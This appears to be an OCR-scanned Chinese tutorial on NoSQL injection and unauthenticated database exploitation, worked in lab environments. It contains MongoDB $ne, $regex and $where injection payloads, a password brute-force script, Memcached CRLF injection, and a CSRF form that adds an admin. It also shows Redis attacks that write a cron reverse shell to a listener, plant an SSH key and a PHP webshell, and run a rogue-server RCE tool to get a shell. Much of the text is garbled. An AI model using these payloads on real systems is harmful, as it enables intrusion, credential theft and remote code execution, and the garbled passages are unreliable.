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use admin //BVEE—Aadmin$Z B, AR admin R Bk ik B admin B0
EEAN &/

db.admin.insert({'username': 'time', 'password':'11111"'})//ERI\2H
el dadninE s

i s
db.admin.find()// & T A%
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show dbs

BEES

show collections
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$eq : = /[ VLR F B 5 T 15 E 18 09 X1
$gt : > // VLR F B KT 15 (61 RS
$1t 1 </ VAR FRE AR
$gte: >= /J/VLHIFEAE K T T 15EH I X 1Y

$lte: <= //VBIFEMEN T H T T LH)



$ne : = /J/VLHIFEHE AN E FIEEEAIRS, TG XIS FEEI RS

$in : in // VLB FBE T HTE R T HIE T 1

$nin: not in //FBE FIEITERA L E T 11T

$and /PG E D BTG — ik =C

$or:or /1 PG L e PG — PN 2K

$not: /) IPEBE(L . 3.3 & LLEJRAK) , FEEMH AVl 26X 7Ca6 2 F B 5 1~ 171
PO E ) IEN K : db. customer.find({'name': {'$regex':'.*s.*'} })
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$manager = new

MongoDB\Driver\Manager("mongodb://localhost:27017");
$uname = $ GET[ 'username’'];

$pwd = $_GET[ 'password'];

# B

$query = new MongoDB\Driver\Query(array(
‘uname' => $uname,
‘pwd' => $pwd

))s

# HITIEA



$result = $manager->executeQuery('admin.admin', $query)-

>toArray();
$count = count($result);
if ($count > 0) {
foreach ($result as $user) {

$user = ((array)$user);

echo 'username:' . $user['uname'] . '<br>';
echo '"password:' . $user['pwd'] . '<br>';
}
}
else{
echo "Not Found';
}
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| (— (g ‘ﬁ} © | Z 192.168.239.1 35/n/login.php?username=time&password=time111

username:time
password:timel11
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http://192.168.239.135/n/login.php?username[$ne]=1&password[$ne]
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(&)= @ @ © | & 192.168.239.135/n/login.php?username[$ne]=1&password[$ne]=1
username:admin

password:adminl11

username:time

password:timel11

username:admin

password:2222222

username:ceshi
password:333333
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username[$nel=time&password[$nel=timelll, &% K 7 & =&
time W OT A B4l B .
€ - C (O Notsecure | 192.168.239.136/n/login.php?username[$ne]=time&password[Sne]=time111

username:admin
password:admin111
username:admin
password:2222222
username:ceshi
password:333333
username:
password:
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username[$nel=1&password[$nel =10 &, FEF2KH % A\
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$query = new MongoDB\Driver\Query(array(
'uname' => array($ne => 1),
"pwd' => array($ne => 1)

))s
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. db. admln find({"uname":{"Sne":1}."pwd":{"Sne":1}1})
{ " id" : Objectid("s5feedffi2diidiecasasb7e2"), "uname" : "admin", "pwd"
n111" }

: ObjectId("5fe6dffa2zd11d10ca8a8b7e3"), "uname" : "time", "pwd"
: ObjectId("5f06elaeld41c8038442b763"), "uname" : "admin", "pwd"

: ObjectId("5f06elael1d41c8038442b764"), "uname" : "ceshi", "pwd"

: f'\h'!nr‘PTr‘lf EfAfe0chldiidifcafafh7at) LLLErEs L L
&+ 2 .t

":{"Sne":"time"},"pwd" { Sne :"time111"}})
TorjECtIu( " SToeUT M IZuTIuIoCcas8asuTez ), undl'u:" raarm™;” "pwd”

: ObjectId("5f06elael1d41c8038442b763"), "uname" : "admin", "pwd"
: ObjectId("5f06elael1d41c8038442b764"), "uname”

: ObjectId("5f06e9c62d11d1@ca8a8b7es”
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string query = "{ username: + post_username + , password:"'"

+ post_passport + " " }"
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{‘username’:'time', ‘password’:'timelll'}
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B K

username=time',$or:[{},{"'a': " "a&password="1}]



{'username':"'time', '$or':[{},{'a':"'a"', 'password':"'"}]}
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rnan time , z LAk
f 218d560¢ 3

.....

" 1 "timel23”

d” : "timel23”

admin’, - /
>18d560 07), “user min , “password : "adminl23
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$manager = new

MongoDB\Driver\Manager("mongodb://localhost:27017");
$query_body =array(

"$where'=>"function q() {

var username ".$ REQUEST["username"].";

var password = ".$ REQUEST["password"].";if(username ==
"time'&&password == 'timelll') return true; else{ return
false; }}
")

$query = new MongoDB\Driver\Query($query body);

$cursor = $manager->executeQuery('test.test', $query)-

>toArray();



if(count($cursor)>0){
echo "ok";
}else{

echo "no";

2 R TE K T A B, AR Rk A B R N T AT

« ¢ o © | & 192.168.239.136/NoSQLInjectionAttackDemo-master/login/login L; ername=1&pa
—

MEZHEMLE ;return true; B 5T IR Al ok o

<~ = 0 © & 192.168.239.136/NoSQLInjectionAttackDemao master/loginflogin_1 rﬂ*l\ usernames=18&password=1;return true

ok".-----------L—_

payload : username=1&password=1;return ture;

W Areturn ture; 252 H i H UL T g4

"$where'=>"function q() {

var username ".$ REQUEST["username"

var password ".$ REQUEST["password"]."

[ FECAE I — Be GRS, A P S AT AR [Elture

return ture;

if(username == 'time'&&password == 'timelll') return true;

else{ return false;}}
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$mongo = new mongoclient();
$db = $mongo->test;
$coll = $db->users;

$username $ REQUEST[ 'username'];

$password

$ REQUEST[ 'password'];
if (is_array($username)) {
$data = array(
‘username'=>$username);
$data = $coll->find($data);
if ($data->count()>9) {
echo 'yes';
Yelse{

echo 'time no';



}
}else{
if ($username == 'time'&&$password=="timelll') {
echo 'ok';
}else{

echo 'login no';

BE =N AT, DT IR A R

& C Y ® A%%£ | 10.211.55.3 -

login no
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login no
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payload : username[$eq]=§11118&password=111



L Payload Positions u

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which
payloads are assigned to payload positions - see help for full details.

Attack type: | Sniper "]

GET /newq.php?username[$eq]=§l1lll§&password=111 HTTP/1
Host: 104211.55.3 -
Cache=Corjtrol: max-age=0
Upgrade-Insecure-Reguests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_14_6) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/83.0.4103.116 Safari/537.36

Accept:
text/html,application/xhtml+xml,application/xml;qg=0.9,image/webp,image/apng,*/*;q=0.8,application/
signed-exchange;v=b3;g=0.9

Accept-Language: zh-CN,zh;g=0.9

Connection: close

—
>

(IR [N (A MmN

BE T

various payload types are available tor each payload set, and each payload t'

Payload set: [1 V] Payload count: 4

Payload type: [Simple list '] Request count: 4

@ Payload Options [Simple list]

This payload type lets you configure a simple list of strings that are used as

Clear

Paste | |admin
ceshi
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Request | Payload | Status  Error | Timeout | Length 4 Comment

1 admin 200 ] [J 210
4 ‘time | 200 O 0 210
0 200 O ] 214
2 ceshi 200 O O 214
3 root 200 (] O 214

| Request Rcsponse]

J Raw T Headers I Hex ]

HTTP/1.1 200 OK

Date: Sat, 11 Jul 2020 22:47:28 GMT

Server: Apache/2.4.23 (Win32) OpenSSL/1.0.23j mod fecgid/2.3.9
X-Powered-By: PHP/5.4.45

Connection: close

Content-Type: text/html

Content-Length: 3

yes

AE TIKS R, HHENWAEHERIEACSregex K IR AL
/ /B R

http://10.211.55.3/news.php?username[$eq]=time&password[$regex]=
{7}

http://10.211.55.3/news.php?username[$eq]=time&password[$regex]=
t.{6}

http://10.211.55.3/news.php?username[$eq]=time&password[$regex]=
ti.{5}

http://10.211.55.3/news.php?username[$eq]=time&password[$regex]=
tim.{4}
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{'username':{"'$eq"': "time"'}, 'password’:{ '$regex':'"'}}
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import requests

import urllib3

import string

import urllib

urllib3.disable_warnings()

'admin'

username

password
target = 'http://127.0.0.1/mongo/test.php'’
while True:
for ¢ in string.printable:
if ¢ not din ["*', "4', ".t, 2, |, '#', '&', '$']:

payload = '?username=%s&password[$regex]="%s"' %

(username, password + c)
r = requests.get(target + payload)
if 'OK' in r.text:
print("Found one more char : %s" % (password+c))

password += C

123

123"
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i# ik
set <KEY> <FLAG> <EXPIRE_TIME> <LENGTH>,
MPHPAC B #Y B BP0 I, S8
$memcached->set('key', 'value');

ZWRK B AR R B AN T A A H E\r (0x0D) A 47 B \n (0x0A) FJASCI
DRGSR U4 i, 5 B0 MCE 3 A L& N B S 82 5008 dr 24T R
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$memcached=new Memcached(); $memcached -
>addServer('localhost',11211); $memcached->set($param, "some

value");
Bk & ) DABR AR DU N B AT TN Bk
"keyl © 3600 4\r\nabcd\r\nset key2 @ 3600 4\r\ninject\r\n"

oo oB® % owm OE b om o — 4 2 A A “some
value " fH W keyl. X & A7 DUSE AR ) o HEoF R0 i B 30 2088
o, Bl A “inject "M key2, XFEANWAT LKA get fir 2 b
o B — MMemcached ¥ W F AR, & LLIX =17 k-

Function get_foo(foo_id) foo = memcached_get("foo: " . foo_id)

return foo if defined foo

EATRHIE7R TMemcached (1 3 B [ 3%, ££ AL B 4 N 2 A H SR B A
B EHRARCEMAAA T BB RO k& A8 B 35k
M NIE 2 h, B E AT 2 AN F il 1, A4 Bt eT PLE A% i DR AR
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"random_token\r\nset my_ crafted token © 3600 4\r\nroot\r\n"

XN FREAERNSEAER, IR ERKREIX D "random_token”
ERAE, REHBMN—DHEHA "root”HM "my crafted token”
o ZJE, W FM A UKIERArootF M Mmy crafted token#
BT o AT RLBE X IR R M ) At 4R 43 A

incr <Key> <Amount>
decr <Key> <Amount>

delete <Key>

fE, iner HF M — NEME, decr HH T4 W — M8 IIE, DL Rde
lete l TMIBR — 4. Wk HE WA UUHEset Mget bk 8 —F 1T B
REHBRACEHZHANXI =R AEHFATUMHZ%XHREK
HATFRFEREN: deleteMulti. getMulti flsetMulti, H /b &F
— AT BREA BTN BIEBRATEANT U TEEZ N getid
Ko £ —TIRATHATHN K, O EgetENRZ AT LLIERELT %
o X FEVE N IR 8] g5 R A — A B R A N E .
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NoSQLE 4 e 1) 73 — AN H WA s, Ml Al BE 8 3 % 5% 58 e 6 2% 1 i
N k47 B 4E P & O W HTTP REST API . % 58 REST API
() ¥ 45 FE Al MongoDB . CouchDB Ml HBase . % # REST API
BB EREZEANAET, B2 RMNETFHIMLSMMNH, HAE
ANFHEREARFET T, AT %215 S 0T DL 7E BodlE b
ITHTTP & ) o X AMMMBEFHE, HX —FHENEHEE <4
Kook o2 AT oW Mm% 2 B & WM . X A REST
API 45 5 ol i ki (CSRF) Bfs 7 H¥E E, ibMh#H gl 7B
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HTTP REST
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PS5 vl iE K Py i& (CSRF) Moy B U R MLAT O, 78 b Xl 5 A (9 F
VG A R R AEN o SQL B FE b AT JE R R AE . @ HEHTML #% X
(o AC A = N B A e TR 00 Xl B g P RE N B B A B S
F B FH W BLAE H bR B B B AT pos t B AE, AT IR B E

BUAE AR AT A B CSRE B v 52 W A A5 A 3% A4~ ef 203 B SC 1 315 2 3R
EEahH, NMAMBEE CERNARL T 22 NMMEd) f
Bmy A ERRAMA T, WMNERR. HESE R, 2B AE
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O R, A A A 2 W Wl Bl R 1% Wk i E — SHTML
KPS — BB IR ZR AR A, .

<form action=" http://safe.internal. db/hr/admins/_insert"”

method="POST" name="csrf">

<input type="text" name="docs" value=" [{"username":attacker}]"

/>
</form>

<script> document.forms[0].submit(); </script>
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5, By & 0 i i 2% e B G O A&H U7 ) B s R O
FUOREON MR i W ouk . B f5 ., B P A AT VF AT U ) Mongoose
HTTPH: 1

X F 7 0, B 3 A 2 2 NN 0 2 B A AT B AE, AR,
A&l N CET B B AL T N 2 i B HE R b o 3 BRI AT AR A AR
s AHFER I AR AT TS A L. B E LR, .

7+ node. jsyEAN (¥ )

#y FE AL - https://github.com/Charlie-belmer/vulnerable-node-
app

5% : node.js. Mongodb

HEAAPPH % T4 : node server.jsEahiflE




PS : FHIERE IR, fiHInpm install FHERAHILR
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& £a Not Secure http://192.168.43.233:4

Zr Waterfox Home v BHSEE- 5BX# [JWAF O R=#E [JesA [Tpython [ wesl#E [#E%s

Home User Lookup Login

User Login

Login with a valid username and password

fEHburp A, 1~ K-
Go Cancel T > | Target: http://10.19.64.97:4000 @ E

Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex

POST /user/login HTTP/1.1 A HTTP/1.1 200 OK |
Host: 10.19.64.97:4000 - X-Powered-By: Express 4
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X Vary: Origin

10.14; rv:68.0) Gecko/20100101 Firefox/68.0 Content-Type: applicaticon/json; charset=utf-8

Rccept: application/json, text/javascript, */*; g=0.01 Content-Length: 56

Bccept-Language: zh-CM,en-US;q=0.7,en;qg=0.3 ETag: W/"3B-2ZCPCx6sBmspEjayAwKZYP/ZF9Bo"

Content-Type: application/json Date: Fri, 10 Jul 2020 10:09:07 GMT

¥-Requested-With: XMLHttpReguest Connecticn: close

Content=-Length: 42

DNT: 1

{"role":"invalid","msg":"Invalid username or password."}
Connection: close

Referer: http://10.19.64.97:4000/user/login

{"username":"admin", "password”: "password"}

payload:

{Edzpassword



{"username":
B
{"username":
Hl AT G K o B R SR
N B .
(6o [Lanest] [-<in] (L2208

Request
Hex

Params | Headers

"admin","password":{"$ne":1}}

{"$ne":1},"password": {"$ne":1}}

Target: http://10.19.64.97:4000 EJ E]

Response

;@ Headers | Hex

POST fuser/login HTTPE/1.1

Host: 10.19.64.97:4000

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X
10.14; rv:68.0) Gecko/20100101 Firefox/68.0
Beocept: application/json, text/javascript,
Accept-Language: zh-CN,en-US;g=0.7,en;g=0.3
Content-Type: application/json
X-Requested-With: XMLHttpRegquest
Content=Length: 41

DNT: 1

Connection: close

Referer: http://10.19.64.97:4000/user/login

e

*/*; g=0.01

HTTE/1.1 200 OK

X-Powered-By: Express

Vary: Origin

Content-Type: application/json; charset=utf-8
Content-Length: 83

ETag: W/"53-mG6XAcI80ur¥jLvv3vZCDZIW/mQk"
Date: Fri, 10 Jul 2020 10:10:13 GMT

close .

Te

Connectiont

{"role":"admin", "username”: "admin”, "msg": "Logged in as
user admin with role admin"}

{"username”:"admin", "password":{"$ne":1}}|

Go Cancel i < | >|r

Request

[E Params | Headers | Hex

POST /user/legin HTTP/1.1 Y
Host: 192.168.43.233:4000 o
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S5 X
10.14; rv:68.0) Gecko/20100101 Firefox/68.0

Accept: application/json, text/javaseript, */*; g=0.01
Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3
Content-Type: application/json

X-Requested-With: XMLHttpReguest

Content-Length: 47

DNT: 1

Connection: close

Referer: http://192.168.43.233:4000/user/login

{"username”:{"$ne":"1"}, "password": {"$ne":"1"}}

whereE A

AN SE (VY 7 e s 6] PE NS

Target: http://192.168.43.233:4000 Ej ?

Response

HTTP/1.1 200 OK Y
X-Powered-By: Express =
Vary: Origin

Content-Type: application/json; charset=utf-8
Content-Length: 83

ETag: W/"53-mG6XA0I80urYjLvv3vICDZW/mok"
Date: Sat, 11 Jul 2020 23:12:01 GMT
Connection: close

{"role":"admin", "username”:"admin", "msg":"Logged in as
user admin with role admin"}




<« G @ @ % Not Secure 192.168.43.233

# Waterfox Home % ZNSE - 5B3H [ WAF RERE ESA [ python WEBSH pEes P esEEes ) TCRIPHN - MES..

Home User Lookup Login

User Lookup

Lookup a username here. To get you started, a valid user is guest. You can NoSQL Inject to find other users.

ID Username

TGRS REX NE RBP4
payload:

username="' || '1'=="'1

ARGE L A ANFR A an AR, AN BE e A fE R R T A P E B

WEBEM T MBS P ERARET Wi - RS : BE A9 [ R

User Lookup

.ookup a username here. To get you started, a valid user is guest. You can NoSQL Inject te find other users.

1] Username
5f0ad46b176c4c706d0428d34 admin
5{0a46b176c4c706d0428d35 guest
5f0a46b176c4c706d0428d36 ghost
5f0ad6b176c4c706d0428d37 jsmith

5f0a46b176c4c706d0428d38 angryPrism58736

5

JERRE [0 BEeE

1 MRAF i

Role

admin

guest



TR IR, HEMW EABAIRZ X TRedissMongodb (K IH Rl F 77 2,
Ak A SCEEAR 2 EN0oSQL, RedisfMongodb® & NoSQL HHE FE 1)
RFVEREE, ATULAR W B4 — FFH ik

Redis getshell FERS

BT

T# : wget http://download.redis.io/releases/redis-4.0.9.tar.gz
fi#JE : tar -zxvf redis-4.0.9.tar.gz

cd redis-4.0.9

make

make test

make install

R IAT

fli&redis.conf

R bind 127.0.0.1

K, ffprotected-mode yesth Ano
R AR BUE B

redis-cli -h ©.0.0.0 -p 6379 EHE LHHL



92.168.239.129:6379> info

f Server

edis_version:4.0.9

edis git shal:00000000
edis_git_dirty:0
edis_build_1id:2b91397eb8d4a286
edis_mode:standalone

ps:Linux 5.3.0-kali2-amd64 x86_64
brch_bits:64
ultiplexing_api:epoll
htomicvar_api:atomic-builtin
jcc_version:9.2.1
process_1d:7837
un_1id:0cf894225b608bf52fe67f0ad49a73dbb4a6fafefd
cp_port:6379
ptime_in_seconds:1142
ptime_1in_days:0

z:10

ru_clock:687759

executable: /root/redis-server
onfig_file:/etc/redis.conf

¢ Clients
onnected_clients:3
lient_longest_output_list:0

crontab-itRI{E %
A ML T -

nc -lvvp 4444

ime@ubuntu:~5 nc -lvvp 4444
Listening on [0.0.0.0] (family 0, port

redis:

X "\n* * ¥ * * bash -i >& /dev/tcp/192.168.239.136/8888
0>&1\n"

config dir / /spool/cron/

config dbfilename root



.129:6379> set x "\n* * * * * bash -1 >& /dev/tcp/192.168.239.136/4444 0>&1\n"

.129:6379> config set dir /var/spool/cron/

.129:6379> config set dbfilename root
.129:6379> save

.129:6379> |}

TR S shell,

time@ubuntu:~S nc -lvvp 4444
Listening on [0.0.0.0] (family ©, port 4444)
Connection from localhost 41608 received!
python -c 'import pty; pty.spawn("/bin/sh")'
# ifconfig
ifconfig
br-7ab4efc12985: flags=4099<UP,BROADCAST ,MULTICAST> mtu 1500
inet 172.18.08.1 netmask 255.255.0.® broadcast 172.18.255.255
ether 02:42:05:cc:6e:ae txqueuelen © (Ethernet)
RX packets @ bytes © (0.0 B)
RX errors @ dropped ® overruns @ frame @
TX packets @ bytes @ (8.0 B)
TX errors @ dropped @ overruns ® carrier ® collisions @

flags=4099<UP,BROADCAST ,MULTICAST> mtu 1500
inet 172.17.0.1 netmask 255.255.0.0 broadcast 172.17.255.255
ether 82:42:73:d1:2e:b4 txqueuelen @ (Ethernet)
RX packets @ bytes © (0.0 B)
RX errors @ dropped © overruns @ frame @
TX packets @ bytes 0 (0.0 B)
TX errors @ dropped © overruns @ carrier 8 collisions @

ethe: [flags=4163<UP,BROADCAST ,RUNNING,MULTICAST> mtu 1500
inet 192.168.239.129 netmask 255.255.255.8 broadcast 192.168.239.255
inet6 feB80::20c:29ff:feBc:6aec | prefixlen 64 scopeid Ox20<link>
ether 00:0c:29:08c:6a:ec txqueuplen 1000 (Ethernet)
RX PacKets 58198 Dbytes /75087456 (72.1 MiB)
RX errors @ dropped @ overruns @ frame @
TX packets 26589 bytes 1696454 (1.6 MiB)
TX errors @ dropped © overruns © carrier © collisions @

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid B0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 595 bytes 54825 (53.5 KiB)
RX errors @ dropped @ overruns @ frame @
TX packets 595 bytes 54825 (53.5 KiB)
TX errors @ dropped ® overruns © carrier ® collisions @

ssh-keygen

A A R B



cd .ssh

ssh-keygen -t rsa

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt
cat foo.txt | redis-cli -h 192.168.239.129 -x set crackit

redis:

redis-cli -h 192.168.239.129

config set dir /root/.ssh/

config get dir

config set dbfilename "authorized_keys"

save

i Se ALET

rootkal: ~

et dbfilename "au

B ANwebshell

redis-cli -h 192.168.239.129
config set dir /var/www/html/

config set dbfilename shell.php



set x "<?php phpinfo();?>"

save

time@ubuntu:~$ redis-cli -h 192.168.239.129
192.168.239.129:6379> config set dir /var/www/html/
OK

192.168.239.129:6379> config set dbfilename shell.php
OK

192.168.239.129:6379> set x "<?php phpinfo();?>"

OK

192.168.239.129:63279> save

PHP 7.3.10-1+b1 - phpinfi
< c D 192.168.239.129 - & 1 In @ ®
Kali Linux Kali Training Kali Tools @ Kali Docs Kali Forums NetHunter @ Offensive Security Exploit-DB GHDB @ MSFU

REDIS00084 redis-ver4.0.94 redis-bits@@®ctime @i _Hused-memeHE Vaof-preamble@PecrackitA® ssh-rsa
AAAAB3NzaClyc2EAAAADAQABAAABAQDKe/oqdgjRsaC2d)Q6ZzkssI9aGRAxy+nQp9p5zFLaEb)+QLtraByohH)X
JyFsi+InWIBKBNgPb+WS5fD6cPQh7nWFR8rfc9lhtLfbSuU9wZYMRw8BXIjPIrL1jFBAdFIUzTVS5HyqevT)DWOYxyN+glce3+Qa3N+rNS9gCT9QELIGI
Ix+idr5GaWerWdv69U8aW8/DGxo9QLUEIFQQBucONRSBNK|sVZx2k+6¢irsms2tQMgM+dwpYrS2hmFcP time@ubuntu x

PHP Version 7.3.10-1+b1 phP

System Linux kali 5.3.0-kaliz-amd64 #1 SMP Debizan 5.3.9-3kalil (2019-11-20) x86_64

Build Date Oct 13 2019 23:50:57

Server AP| Apache 2.0 Handler

Virtual Directory Support disabled

Configuration File (php.ini) Path Jetc/php/7.3/apache2

Loaded Configuration File [etc/php/7.3/apache2/php.ini

Scan this dir for additional .ini files [etc/phpi7.3/apache2/conf.d

Additional .ini files parsed [etc/php/7.3/apache2/conf.d/10-mysqind.ini, fetc/php/7.3/apache2/conf.d/10-opcache.ini, fetc/php
I7.3/apache2fconf.d/10-pdo.ini. fetc/php/7.3/apache2/contd/20-calendar.ini. fetc/php/7.3/apache2
[confdf20-ctype.ini, fetc/php/7.3/apache2jconf.d/20-exif.ini, jetc/php/7.3/apache2fconf.d/20-
filenfo.ini, fetc/php/7.3/apache2/conf.dj20-ftp.ini. fetc/php/7.3/apache2/conf.d/20-gettext.ini
Jetc/php/7.3/apachez/conf.d/20-iconv.ini, jetc/php/7.3/apache2/conf.d/20-json.ini, fetc/php
[7.3/apache2/conf.d/20-mysqli.ini, fetc/php/7.3/apache2/conf.d/20-pde_mysql.ini, fetc/php
/7.3/apache2/conf.d/20-phar.ini, fetc/php/7.3/apache2/conf.d/20-posix.ini, fetc/php/7.3/apache2

. - =y gyl g -

tmmm £ iR mmmdlimm (! dmbmbmbm P Simm ok a dmmm £ A mn e fbm il 43 Bhmmmnbeaimmmf i

FAEMNEHIRCE

sof4 : git clone https:

pythonf{iA : git clone https:

AT python3 redis-rce.py -r 192.168.239.129 -p 6379 -L
192.168.239.136 -f module.so



K I3k B shell,

time@ubuntu:~/r e$ python3 redis-rce.py -r 152.168.239.129 -p 6379 -L 192.168.239.136 -f module.so

Connecting to
Sending SLAVEOF c
Accepted connection from 19
Setting filename
Accepted connection from 192.168.239.129:6379
tart listening on 192.168.239.136:21000
] Tring to run payload
+] Accepted connection from 192.168.239.129:33944
Closing rogue server..

What do u want ? [i]nteractive shell or [r]everse shell or [e]x

Interactive shell open , use "exit" to exit...

0glAbr-7ab4efc12985: flags=4099<UP,BROADCAST ,MULTICAST> mtu 15080
inet 17 . netmask 255.255.08.0 broadcast 172.18.2
ether @ = txqueuelen & (Ethernet)

RX packets 8 (8.8 B)

RX errors @ dropped @ overruns @ frame ©

TX packets © bytes 0 (0.9 B)

TX errors @ dropped @ overruns @ carrier @ collisions @

docker®: flag 9<UP ,BROADCAST ,MULTICAST> mtu 1500
inet 172.17.86.1 netmask 255.255.8.8 broadcast 172.17.255.255
ether @ 3:d1:2e:b4 xqueuelen @ (Ethernet)

RX packets ® bytes © (0.8 B)
X errors @ dropped @ overruns @ frame ©

2 s 2 collisions @
gs=4163<UP,BROAD ] ST> mtu 1500

inet 192 29 netmask 255 255.0 broadcast 192.168.239.255

inet6 fes8@ 26 6aec pr en 64 Sc id ex20<link=>

ether © :6 txqueuelen 1080 (Ethernet)

RX packe es 75944351 (72.4 MiB)
{ g 0 goe 0 /e J e U

y

MongoDB R #Z 15 4

H#s#Hl: ubuntu

Widl: kali
fii H docker # & i i ¥1 5 .
ETRINEZN

sudo docker pull mongo
B E GG

sudo docker images

il

HEE

sudo docker run -d -p 27017:27017 --name mongodb mongo



#rFEmongodb X ZRIP
sudo $docker inspect mongodb | grep IPAddress
mongodb 279173l N EIAAL279174%: 1 _E

sudo iptables -t nat -A DOCKER -p tcp --dport 27917 -j DNAT --
to-destination 172.17.0.2:27017

nmap §7 §# :

~$ nmap -p 27917 192.168.239.136

Starting Nmap 7.60 ( https://nmap.org ) at 2020-07-14 08:33 PDT
Nmap scan report for localhost (192.168.239.136)
Host is up (0.00013s latency).

PORT STATE SERVICE
27917 /tcp open unknown

Nmap done: 1 IP address (1 host up) scanned in 0.06 seconds

N1 P [ B2 N e =05 A )
i Fimetasploitfd il iF & & F7E .
IR

auxiliary/scanner/mongodb/mongodb_login

msf5 auxiliary( ) > set rhosts 192.168.239.136
rhosts => 192.168.239.136

msf5 auxiliary( ) > set threads 10

threads => 10

msf5 auxiliary( ) > exploit

192.168.239.136727017 - Scanning IPT 192.168.239.136

[+] 192.168.239.136:27017 - Mongo server 192.168.239.136 doesn't use authentication
192.168.239.136:27017 - Scanned 1 of 1 hosts (100% complete)
Auxiliary module execution completed

msf5 auxiliary( N |

ff FHMongodbi® T A .
F# bk © https:

B NEENLIP, BRI



“* " Connections

ol e . Ny e s M s | e~ . B

1. P .1
Connection Editor

Basic Authentication SSL || SSH Default Database Other Opticns |

Type Single Server or DNS Seedlist
Server 192.168.239.136 | 27017
~ SRV Record
Name 192.168.239.136
Mark With None
| Color

ries

= Make Connection/Database to Read Only @

uel

ress

Mg Test Connection ¢ From URI | [@ To URI () Save | | Save & Connect | Cancel

tion T =
" ! Connections Test Connection (5] x|
e e | Resuit Status |

Connection Editor |
Connect to 192.168.239.136 oK 47 ms |

Basic Auther| 1 00:12:19.196 *** Starting MongoClient.connect *xx |

2 {"options":{"appname":"NoSQLBoosterV6.0.4_01219.195","autoReconnect"

Type 4 :true, "keepAlive" :60000, "poolSize":0, "promotelongs":false
h| , "promoteValues":false,"reconnectTries":172800, "socketTimeoutMS":0
,"ss1Validate":false,"useNewUrlParser":true,"useUnifiedTopology"
Server 1 :false},®uri®: "mongodb://192.168.239.136:27017"}
| o
4 00:12:19.238 Topology Opening
5 {"topologyId":0}
Name 1 6
X 7 00:12:19.239 Server Opening
Mark With » 8 {“"address":"192.168.239.136:27017","topologyld":0}
Color 9
eries 10 00:12:19.239 Server Description Changed
Make Connectl | 11 {"address":"192.168.239.136:27017" ,"newDescription”:{"address":"192.168
Gue .239.136:27017","arbiters":[],"hosts":[],"passives":[],"type"
Press :"Standalone"}, "previousDescription”:{"address":"192.168.239.136
ﬁTestConnecti- :27017","arbiters":[],"hosts":[],"passives":[],"type":"Unknown"}}
12

13 00:12:19.239 Topology Description Changed

14 {"address":"192.168.239.136:27017","newDescription":{"servers"
:[{"address":"192.168.239.136:27017", "arbiters":[],"hosts":[]
,"passives":[],"type":"Standalone"}], "topolegyType":"Single"}
, "previousDescription":{"servers®:[{"address":"192.168.239.136
127017 ,"arbiters":[],"hosts":[],“passives”:[],"“type" :“Unknown"}]
, "topologyType" : "Unknown" }}

15

Hide/Show Details Close | [ct||Cancel



¥ connect v Q- H 5B osa

Connection Tree

4 [ 192.168.239.136
[l admin
\icorﬁg
(@ Iocal
B users (0)

admin@192.168.239.136 - Users =

¥ 192.168.239.136 = [§ admin =

] system.users [ 0.172s 0 Doc

My Queries Samples ¥

4 )My Queries (empty)
» Press 343 to save the query here

Copyright ® nosqlbooster.com  Version 6.0.4 I Free Edition

Memcached & & A Vi d

H#r#Hl:Centos?

s
o

2N .

AL
sudo yum install memcached

R IR

P Run v @ Stog & import v & Export v @ Monitoring v  [F] Tasks @ Test Data

% Hquery P Explain [FCode g hr Y- @

1 db.getSiblingDB("admin").getCollection("system.users").find({})|

20 3 O p0 | 0-0(Tablet) @~ [

No records found

' Show Log (™ Feedback 12:13:57 am

sudo memcached -d -m 128 -p 11211 -u root

HFE e R sk %
sudo ps -ef | grep memcache

L

sudo yum install php-memcached

#H S apacheflR %%

service apache2 restart



A i H T

netstat -an |more

E R NP MEEZN: <)

P e aeraese ke v e e ey o R T R -

[root@localhost Desktopl# netstat -an |more
Active Internet connections (servers and established)

Proto Recv-Q Send-(Q Local Address Foreign Address State
tcp C] 0 0.0.0.0:11211 0.0.0.0:* LISTEN
tcp 0 0 192.168.122.1:53 0.0.0.0:* LISTEN
tcp C] 0 0.0.0.0:22 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:631 0.0.0.0:* LISTEN
tcp C] 0 127.0.0.1:25 0.0.0.0:* LISTEN
tcpb c] 0 :::11211 it K LISTEN
tcpb C] 0 :::22 S LISTEN
tcpb C] 0 ::1:631 2 12 o LISTEN
tcpb C] 0 ::1:25 S LISTEN
udp c] 0 0.0.0.0:5353 0.0.0.0:*
udp C] 0 0.0.0.0:1324 0.0.0.0:*
udp C] 0 127.0.0.1:323 0.0.0.0:*
udp C] 0000 QA-R2R7A 0.0.0.0:*
udp C] [ 0 0.0.0.0:11211 0.0.0.0:*
udp C] U 192.168.122.1 53 0.0.0.0:*
udp C] 0 0.0.0.0:67 0.0.0.0:*
udp C] 0 0.0.0.0:68 0.0.0.0:*
udp6 C] 0 :::46326 £
udoB 0 0] 1:323 *
U 1 A
telnet 192.168.239.137 11211
BT

time @localhost:/home/time/Desktop - o

File Edit View Search Terminal Help

[time@localhost Desktop]$ su root

Password:

[root@localhost Desktop]# telnet 192.168.239.137 11211
Trying 192.168.239.137...

Connected to 192.168.239.137.

Escape character is '"]'.

~]

telnet> |j



CouchDB AR # B Vi il
HArHl: Kali
7=

wget
https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/C
VE-2017-12636/docker-compose.yml

TEA IR B
docker-compose up -d

n 'S i i) A g oA piln , Hr e docker-
compose. yml, i FNACH & &) 3 X B AT,

version: '2'
services:
couchdb:
image: vulhub/couchdb:1.6.0
ports:
"5984:5984"
B S E A .

¥ 192.168.239.129:5984/ >

€« ¢ o 92.168.2 e & & n @ @&

Kali Linux Kali Training Kall ls @ Kali Docs Kali Forums NetHunter @ Offensive Security Exploit-DB GHDB @& MSFU

{"couchdb”: "Welcome", "uuid" : “33d6bc34616bSal7dc3aec56d47f7d34" , "version™: "1.6.8", "vendor":{"name" : "The Apache Software Foundation","version":"1.6.8"}}

I 1 ] H



